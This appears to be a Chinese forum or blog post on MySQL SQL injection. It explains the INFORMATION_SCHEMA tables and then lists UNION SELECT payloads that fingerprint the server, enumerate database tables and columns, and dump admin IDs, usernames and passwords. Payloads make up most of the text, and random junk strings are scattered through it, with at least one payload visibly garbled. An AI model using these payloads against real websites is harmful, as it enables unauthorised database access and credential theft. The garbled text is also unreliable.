mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
' v) f7 A& `* {( w$ {4 ?  p8 B* s' O
学习盲注前先了解下 IFORMATION_SCHEMA 库
. W0 X6 u! E: b7 `( H
! g- t( f3 W) r. UMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
& q: o6 r# k- B4 D  Z1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
+ j( b  \" s8 k4 [% S- n0 I: `, A|---字段：SCHEMA_NAME ->数据库名称
, a* z7 ]) \1 H& ^- F6 @
# k9 S3 c% g$ H2 ?|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名

9 V8 L% N' q0 L7 f7 u5 ^) a) L|COLUMNS ->存储的字段名表
  k0 c- {7 `' f2 Q2 U|---字段：TABLE_SCHEMA ->该字段所属数据库名
: ?$ y8 i, ~+ |6 u6 b: ?! N  q) V, D$ l|---字段：TABLE_NAME ->存储所属表的名称
2 L0 z% q( }6 [* [$ \. ~2 w
" _: r: B. s0 e( p$ x# o" y|---字段：COLUMN_NAME ->该字段的名称

  g( ~6 i. p5 E- G4 z+ K

3 r5 d& n; Y7 a1 e% Z$ j###########################################################################
; x- L( d# ~8 V' W: k
. q+ {" G" J6 g5 a9 S0x001 获取系统信息:
/ x2 U6 D. G  e/ p# N
7 \) U. x3 s. r8 u+ k, _union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

1 ]3 b0 ^: B( O! k. m/*

  O2 Y9 j" F: v* _# Z@@global.version_compile_os 获取系统版本

8 s/ a8 ~" F# F+ U& A@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值

*/


/ U4 W% s2 ?& h% p- k' w
8 ^5 P" Q2 a9 R1 i% t, M######################################################################

0x002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*

9 N8 H$ v; t! W6 S* X

/*

% _+ [1 J2 R/ G% E; X- |( P0x67617264656e 为当前数据库名
/ ?, |! @' A; u6 W+ Q0 r( s
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
8 C2 R- x7 J4 }9 p; ^0 B' k
*/

0 ~% [' r+ L# p$ Y" ]* u3 p######################################################################

2 H( S8 F) l$ N" \4 C8 w. L. ?
- ~% t: [; L( N2 H% X
0x003 获取字段
7 o! P& o: [/ n# x
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
) J2 w( R/ p9 }# a+ L  Q) q0 A
0 H7 J4 T% W( C7 E8 e) R/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
: m3 N2 N3 s" R7 b4 X
0x61646d696e ->选择一个表
2 n% _$ J: Z2 u5 D" G; \5 f# Q
0x67617264656e ->数据库名

0 L7 o: T$ z. s; \: O*/
2 L( W1 w$ O+ ?" g* Y
#####################################################################
! |- h9 J* i; X0 `8 `9 D
# `' {' r' E$ F1 _* n5 z2 g% z

0x004 获取数据
4 \) c1 r% L) K
5 s- v  E+ A6 J7 h1 E3 punion select 1,2,3
9 w$ J, b% n$ X, S,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
, k6 E6 r4 S, n* l* s! G

. `; E: [5 [, e" J, h( o
! A+ g: v8 K  f: q5 h/*

7 i% w6 |/ C2 Z& F8 ^0x3c62723e 换行符号HEX编码
! y) @# B9 i4 C- s! |8 ]% b9 `% _
- D# k' ^+ Q/ ^% ^' A/ c' Kgroup_concat 同时获得该字段所有数据
; u2 J1 @) W% X% d& x9 J0 h
( B' X, i8 X, n8 J7 p% k*/

3 i$ Q2 S  ^: H, I# \